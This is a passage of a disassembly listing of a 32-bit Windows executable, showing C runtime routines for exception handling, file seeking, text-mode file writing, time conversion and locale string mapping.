sub_4227B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42282C proc near ; CODE XREF: sub_4227B1+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4288C0 push offset sub_423B80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DE66C mov [ebp+var_1C], ecx mov ecx, dword_4DE670 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DE66C, edi mov ecx, [ebp+arg_8] mov dword_4DE670, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41CFC1 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_4228F2 mov eax, [ebp+var_2C] loc_4228B9: ; CODE XREF: sub_4228D2+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42282C endp ; =============== S U B R O U T I N E ======================================= sub_4228C8 proc near ; DATA XREF: .XPack0:004288D0o push dword ptr [ebp-14h] call sub_422938 pop ecx retn sub_4228C8 endp ; =============== S U B R O U T I N E ======================================= sub_4228D2 proc near ; DATA XREF: .XPack0:004288D4o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41D222 pop ecx pop ecx xor eax, eax jmp short loc_4228B9 sub_4228D2 endp ; --------------------------------------------------------------------------- loc_4228EA: ; DATA XREF: .XPack0:004288C8o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_4228F2 proc near ; CODE XREF: sub_42282C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DE66C, eax mov eax, [ebp-20h] mov dword_4DE670, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422937 cmp dword ptr [edi+10h], 3 jnz short locret_422937 cmp dword ptr [edi+14h], 19930520h jnz short locret_422937 cmp [ebp-24h], ebx jnz short locret_422937 cmp [ebp-2Ch], ebx jz short locret_422937 call sub_41D28A push eax push edi call sub_422B26 pop ecx pop ecx locret_422937: ; CODE XREF: sub_4228F2+1Cj ; sub_4228F2+22j ... retn sub_4228F2 endp ; =============== S U B R O U T I N E ======================================= sub_422938 proc near ; CODE XREF: sub_4228C8+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_42295F cmp dword ptr [eax+10h], 3 jnz short loc_42295F cmp dword ptr [eax+14h], 19930520h jnz short loc_42295F cmp dword ptr [eax+1Ch], 0 jnz short loc_42295F push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42295F: ; CODE XREF: sub_422938+Cj ; sub_422938+12j ... xor eax, eax retn sub_422938 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422962 proc near ; CODE XREF: sub_4227B1+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4288D8 push offset sub_423B80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_422B0B cmp byte ptr [eax+8], 0 jz loc_422B0B mov eax, [ecx+8] test eax, eax jz loc_422B0B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_4229FF mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424E40 pop ecx pop ecx test eax, eax jz loc_422B02 push 1 push edi call sub_424E5C pop ecx pop ecx test eax, eax jz loc_422B02 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_4229F0: ; CODE XREF: sub_422962+F5j push eax call sub_422B8D pop ecx pop ecx mov [edi], eax jmp loc_422B07 ; --------------------------------------------------------------------------- loc_4229FF: ; CODE XREF: sub_422962+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_422A59 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424E40 pop ecx pop ecx test eax, eax jz loc_422B02 push 1 push edi call sub_424E5C pop ecx pop ecx test eax, eax jz loc_422B02 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41D300 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422B07 mov eax, [edi] test eax, eax jz loc_422B07 add esi, 8 push esi jmp short loc_4229F0 ; --------------------------------------------------------------------------- loc_422A59: ; CODE XREF: sub_422962+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422AA1 call sub_424E40 pop ecx pop ecx test eax, eax jz loc_422B02 push 1 push edi call sub_424E5C pop ecx pop ecx test eax, eax jz short loc_422B02 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_422B8D pop ecx pop ecx push eax push edi call sub_41D300 add esp, 0Ch jmp short loc_422B07 ; --------------------------------------------------------------------------- loc_422AA1: ; CODE XREF: sub_422962+103j call sub_424E40 pop ecx pop ecx test eax, eax jz short loc_422B02 push 1 push edi call sub_424E5C pop ecx pop ecx test eax, eax jz short loc_422B02 push dword ptr [esi+18h] call sub_424E78 pop ecx test eax, eax jz short loc_422B02 test byte ptr [esi], 4 jz short loc_422AE8 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422B8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41CF35 jmp short loc_422B07 ; --------------------------------------------------------------------------- loc_422AE8: ; CODE XREF: sub_422962+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422B8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41CF2E jmp short loc_422B07 ; --------------------------------------------------------------------------- loc_422B02: ; CODE XREF: sub_422962+6Aj ; sub_422962+7Cj ... call sub_422C52 loc_422B07: ; CODE XREF: sub_422962+98j ; sub_422962+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_422B0B: ; CODE XREF: sub_422962+2Ej ; sub_422962+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422962 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422BFC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422B26 proc near ; CODE XREF: sub_422451+170p ; sub_4228F2+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4288E8 push offset sub_423B80 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_422B6D mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_422B6D and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41CF2E or [ebp+var_4], 0FFFFFFFFh loc_422B6D: ; CODE XREF: sub_422B26+2Aj ; sub_422B26+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422B26 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422BFC ; =============== S U B R O U T I N E ======================================= sub_422B8D proc near ; CODE XREF: sub_422962+8Fp ; sub_422962+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_422BAE mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_422BAE: ; CODE XREF: sub_422B8D+12j pop esi retn sub_422B8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422BB0 proc near ; CODE XREF: sub_41CFC1+40p ; sub_4226FD+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41D2AD push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_422BEF mov ecx, 2 loc_422BEF: ; CODE XREF: sub_422BB0+38j push ecx call sub_41D2AD pop ebp pop ecx pop ebx leave retn 0Ch sub_422BB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422BFC proc near ; CODE XREF: sub_422451:loc_4225F3j ; sub_42279B:loc_4227ACj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424E90 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4288F8 push offset sub_423B80 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DE678 test eax, eax jz short loc_422C44 mov [ebp+var_4], 1 call eax jmp short loc_422C40 ; --------------------------------------------------------------------------- loc_422C39: ; DATA XREF: .XPack0:00428908o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422C3D: ; DATA XREF: .XPack0:0042890Co mov esp, [ebp+var_18] loc_422C40: ; CODE XREF: sub_422BFC+3Bj and [ebp+var_4], 0 loc_422C44: ; CODE XREF: sub_422BFC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422C4D: ; DATA XREF: .XPack0:00428900o jmp loc_424E90 sub_422BFC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C52 proc near ; CODE XREF: sub_41D163+23p ; sub_41D163:loc_41D1CEp ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428910 push offset sub_423B80 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43FBE4 test eax, eax jz short loc_422C9A mov [ebp+var_4], 1 call eax ; sub_422BFC jmp short loc_422C96 ; --------------------------------------------------------------------------- loc_422C8F: ; DATA XREF: .XPack0:00428920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422C93: ; DATA XREF: .XPack0:00428924o mov esp, [ebp+var_18] loc_422C96: ; CODE XREF: sub_422C52+3Bj and [ebp+var_4], 0 loc_422C9A: ; CODE XREF: sub_422C52+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422CA3: ; DATA XREF: .XPack0:00428918o jmp sub_422BFC sub_422C52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422CA8 proc near ; CODE XREF: sub_41D643+7p ; sub_41D643+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DFC68 push esi cmp eax, 3 jnz short loc_422CD1 mov esi, [ebp+arg_0] push esi call sub_41E517 test eax, eax pop ecx jz short loc_422CCE mov eax, [esi-4] sub eax, 9 jmp short loc_422D06 ; --------------------------------------------------------------------------- loc_422CCE: ; CODE XREF: sub_422CA8+1Cj push esi jmp short loc_422CF8 ; --------------------------------------------------------------------------- loc_422CD1: ; CODE XREF: sub_422CA8+Ej cmp eax, 2 jnz short loc_422CF5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41F272 add esp, 0Ch test eax, eax jz short loc_422CF5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422D06 ; --------------------------------------------------------------------------- loc_422CF5: ; CODE XREF: sub_422CA8+2Cj ; sub_422CA8+43j push [ebp+arg_0] loc_422CF8: ; CODE XREF: sub_422CA8+27j push 0 push dword_4DFC64 call dword_428058 ; RtlSizeHeap loc_422D06: ; CODE XREF: sub_422CA8+24j ; sub_422CA8+4Bj pop esi leave retn sub_422CA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D09 proc near ; CODE XREF: sub_41D71B+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422DC5 cmp ebx, 8Ah jg loc_422DC5 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_4400AC[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_422D48 cmp edi, 2 jle short loc_422D48 inc esi loc_422D48: ; CODE XREF: sub_422D09+37j ; sub_422D09+3Cj call sub_424EA7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43FFC8 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_422DBB cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422DC1 cmp dword_43FFCC, 0 jz short loc_422DC1 lea eax, [ebp+var_24] push eax call sub_42511A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422DC1 loc_422DBB: ; CODE XREF: sub_422D09+90j add ecx, dword_43FFD0 loc_422DC1: ; CODE XREF: sub_422D09+96j ; sub_422D09+9Fj ... mov eax, ecx jmp short loc_422DC8 ; --------------------------------------------------------------------------- loc_422DC5: ; CODE XREF: sub_422D09+13j ; sub_422D09+1Fj or eax, 0FFFFFFFFh loc_422DC8: ; CODE XREF: sub_422D09+BAj pop ebx leave retn sub_422D09 endp ; =============== S U B R O U T I N E ======================================= sub_422DCB proc near ; CODE XREF: sub_41D88C+67p ; sub_41F7BC+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DFA20 push esi push edi jnb short loc_422E4D mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DF920h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_422E4D push eax call sub_423F6A cmp eax, 0FFFFFFFFh pop ecx jnz short loc_422E0F mov dword_4DE5C4, 9 jmp short loc_422E5E ; --------------------------------------------------------------------------- loc_422E0F: ; CODE XREF: sub_422DCB+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call dword_42812C ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_422E2F call dword_428094 ; RtlGetLastWin32Error jmp short loc_422E31 ; --------------------------------------------------------------------------- loc_422E2F: ; CODE XREF: sub_422DCB+5Aj xor eax, eax loc_422E31: ; CODE XREF: sub_422DCB+62j test eax, eax jz short loc_422E3E push eax call sub_420A7F pop ecx jmp short loc_422E5E ; --------------------------------------------------------------------------- loc_422E3E: ; CODE XREF: sub_422DCB+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_422E61 ; --------------------------------------------------------------------------- loc_422E4D: ; CODE XREF: sub_422DCB+Dj ; sub_422DCB+2Aj and dword_4DE5C8, 0 mov dword_4DE5C4, 9 loc_422E5E: ; CODE XREF: sub_422DCB+42j ; sub_422DCB+71j or eax, 0FFFFFFFFh loc_422E61: ; CODE XREF: sub_422DCB+80j pop edi pop esi pop ebx retn sub_422DCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E65 proc near ; CODE XREF: sub_41D88C+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_422E81 mov [edi+4], ebx loc_422E81: ; CODE XREF: sub_422E65+17j push 1 push ebx push esi call sub_422DCB add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_422EEF mov edx, [edi+0Ch] test dx, 108h jnz short loc_422EA6 sub eax, [edi+4] jmp loc_422FB8 ; --------------------------------------------------------------------------- loc_422EA6: ; CODE XREF: sub_422E65+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422EE0 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DF920[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422EF7 mov edx, ecx loc_422ED1: ; CODE XREF: sub_422E65+79j cmp edx, eax jnb short loc_422EF7 cmp byte ptr [edx], 0Ah jnz short loc_422EDD inc [ebp+var_8] loc_422EDD: ; CODE XREF: sub_422E65+73j inc edx jmp short loc_422ED1 ; --------------------------------------------------------------------------- loc_422EE0: ; CODE XREF: sub_422E65+50j test dl, 80h jnz short loc_422EF7 mov dword_4DE5C4, 16h loc_422EEF: ; CODE XREF: sub_422E65+2Dj or eax, 0FFFFFFFFh jmp loc_422FB8 ; --------------------------------------------------------------------------- loc_422EF7: ; CODE XREF: sub_422E65+68j ; sub_422E65+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422F05 mov eax, [ebp+var_8] jmp loc_422FB8 ; --------------------------------------------------------------------------- loc_422F05: ; CODE XREF: sub_422E65+96j test byte ptr [edi+0Ch], 1 jz loc_422FB0 mov edx, [edi+4] test edx, edx jnz short loc_422F1E and [ebp+var_8], edx jmp loc_422FB0 ; --------------------------------------------------------------------------- loc_422F1E: ; CODE XREF: sub_422E65+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DF920h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_422FAA push 2 push 0 push [ebp+var_C] call sub_422DCB add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_422F71 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_422F5C: ; CODE XREF: sub_422E65+104j cmp eax, ecx jnb short loc_422F6B cmp byte ptr [eax], 0Ah jnz short loc_422F68 inc [ebp+arg_0] loc_422F68: ; CODE XREF: sub_422E65+FEj inc eax jmp short loc_422F5C ; --------------------------------------------------------------------------- loc_422F6B: ; CODE XREF: sub_422E65+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422FA5 ; --------------------------------------------------------------------------- loc_422F71: ; CODE XREF: sub_422E65+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_422DCB mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_422F98 mov ecx, [edi+0Ch] test cl, 8 jz short loc_422F98 test ch, 4 jz short loc_422F9B loc_422F98: ; CODE XREF: sub_422E65+124j ; sub_422E65+12Cj mov eax, [edi+18h] loc_422F9B: ; CODE XREF: sub_422E65+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422FA5: ; CODE XREF: sub_422E65+10Aj jz short loc_422FAA inc [ebp+arg_0] loc_422FAA: ; CODE XREF: sub_422E65+D9j ; sub_422E65:loc_422FA5j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422FB0: ; CODE XREF: sub_422E65+A4j ; sub_422E65+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422FB8: ; CODE XREF: sub_422E65+3Cj ; sub_422E65+8Dj ... pop edi pop esi pop ebx leave retn sub_422E65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422FBD proc near ; CODE XREF: sub_41D954+A2p ; sub_41E22B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DFA20 push esi push edi jnb loc_423151 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DF920h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_423151 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42300E loc_423007: ; CODE XREF: sub_422FBD+177j xor eax, eax jmp loc_423165 ; --------------------------------------------------------------------------- loc_42300E: ; CODE XREF: sub_422FBD+48j test al, 20h jz short loc_42301E push 2 push edi push ecx call sub_422DCB add esp, 0Ch loc_42301E: ; CODE XREF: sub_422FBD+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_4230ED mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_423125 loc_42303E: ; CODE XREF: sub_422FBD+F5j lea eax, [ebp+var_414] loc_423044: ; CODE XREF: sub_422FBD+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_423078 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_423063 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_423063: ; CODE XREF: sub_422FBD+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_423044 loc_423078: ; CODE XREF: sub_422FBD+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_4280F0 ; WriteFile test eax, eax jz short loc_4230E2 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_4230B4 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42303E loc_4230B4: ; CODE XREF: sub_422FBD+EAj ; sub_422FBD+12Ej xor edi, edi loc_4230B6: ; CODE XREF: sub_422FBD+150j ; sub_422FBD+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_42314C cmp [ebp+arg_0], edi jz short loc_423125 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_42311A mov dword_4DE5C4, 9 mov dword_4DE5C8, eax jmp loc_423162 ; --------------------------------------------------------------------------- loc_4230E2: ; CODE XREF: sub_422FBD+E0j call dword_428094 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_4230B4 ; --------------------------------------------------------------------------- loc_4230ED: ; CODE XREF: sub_422FBD+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call dword_4280F0 ; WriteFile test eax, eax jz short loc_42310F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_4230B6 ; --------------------------------------------------------------------------- loc_42310F: ; CODE XREF: sub_422FBD+145j call dword_428094 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_4230B6 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_422FBD+10Fj push [ebp+arg_0] call sub_420A7F pop ecx jmp short loc_423162 ; --------------------------------------------------------------------------- loc_423125: ; CODE XREF: sub_422FBD+7Bj ; sub_422FBD+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_42313A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_423007 loc_42313A: ; CODE XREF: sub_422FBD+16Fj mov dword_4DE5C4, 1Ch mov dword_4DE5C8, edi jmp short loc_423162 ; --------------------------------------------------------------------------- loc_42314C: ; CODE XREF: sub_422FBD+FEj sub eax, [ebp+var_10] jmp short loc_423165 ; --------------------------------------------------------------------------- loc_423151: ; CODE XREF: sub_422FBD+15j ; sub_422FBD+37j and dword_4DE5C8, 0 mov dword_4DE5C4, 9 loc_423162: ; CODE XREF: sub_422FBD+120j ; sub_422FBD+166j ... or eax, 0FFFFFFFFh loc_423165: ; CODE XREF: sub_422FBD+4Cj ; sub_422FBD+192j pop edi pop esi pop ebx leave retn sub_422FBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42316A proc near ; CODE XREF: sub_41DC4A+47p ; sub_41DC4A+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428930 push offset sub_423B80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DE69C, edi jnz short loc_4231E0 push edi push edi push 1 pop ebx push ebx push offset dword_428928 mov esi, 100h push esi push edi call dword_428050 ; LCMapStringW test eax, eax jz short loc_4231BE mov dword_4DE69C, ebx jmp short loc_4231E0 ; --------------------------------------------------------------------------- loc_4231BE: ; CODE XREF: sub_42316A+4Aj push edi push edi push ebx push offset dword_4CE1C0 push esi push edi call dword_428054 ; LCMapStringA test eax, eax jz loc_4232F8 mov dword_4DE69C, 2 loc_4231E0: ; CODE XREF: sub_42316A+2Ej ; sub_42316A+52j cmp [ebp+arg_C], edi jle short loc_4231F5 push [ebp+arg_C] push [ebp+arg_8] call sub_42338E pop ecx pop ecx mov [ebp+arg_C], eax loc_4231F5: ; CODE XREF: sub_42316A+79j mov eax, dword_4DE69C cmp eax, 2 jnz short loc_42321C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_428054 ; LCMapStringA jmp loc_4232FA ; --------------------------------------------------------------------------- loc_42321C: ; CODE XREF: sub_42316A+93j cmp eax, 1 jnz loc_4232F8 cmp [ebp+arg_18], edi jnz short loc_423232 mov eax, dword_4DE694 mov [ebp+arg_18], eax loc_423232: ; CODE XREF: sub_42316A+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_4280E8 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_4232F8 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41C190 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_42328D ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_42328D: ; CODE XREF: sub_42316A+10Ej cmp [ebp+var_24], edi jz short loc_4232F8 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_4280E8 ; MultiByteToWideChar test eax, eax jz short loc_4232F8 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_428050 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_4232F8 test byte ptr [ebp+arg_4+1], 4 jz short loc_42330C cmp [ebp+arg_14], edi jz loc_423387 cmp esi, [ebp+arg_14] jg short loc_4232F8 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_428050 ; LCMapStringW test eax, eax jnz loc_423387 loc_4232F8: ; CODE XREF: sub_42316A+66j ; sub_42316A+B5j ... xor eax, eax loc_4232FA: ; CODE XREF: 